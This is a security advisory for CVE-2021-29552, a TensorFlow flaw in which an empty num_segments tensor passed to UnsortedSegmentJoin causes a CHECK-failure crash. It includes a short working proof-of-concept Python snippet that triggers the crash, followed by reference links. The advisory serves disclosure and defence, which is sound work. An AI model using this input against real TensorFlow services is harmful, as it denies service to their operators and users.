CVE-2021-29552: CHECK-failure in `UnsortedSegmentJoin`
(updated )
An attacker can cause a denial of service by controlling the values of num_segments
tensor argument for UnsortedSegmentJoin
:
import tensorflow as tf
inputs = tf.constant([], dtype=tf.string)
segment_ids = tf.constant([], dtype=tf.int32)
num_segments = tf.constant([], dtype=tf.int32)
separator = ''
tf.raw_ops.UnsortedSegmentJoin(
inputs=inputs, segment_ids=segment_ids,
num_segments=num_segments, separator=separator)
References
- github.com/advisories/GHSA-jhq9-wm9m-cf89
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-480.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-678.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-189.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/704866eabe03a9aeda044ec91a8d0c83fc1ebdbe
- github.com/tensorflow/tensorflow/security/advisories/GHSA-jhq9-wm9m-cf89
- nvd.nist.gov/vuln/detail/CVE-2021-29552
Detect and mitigate CVE-2021-29552 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →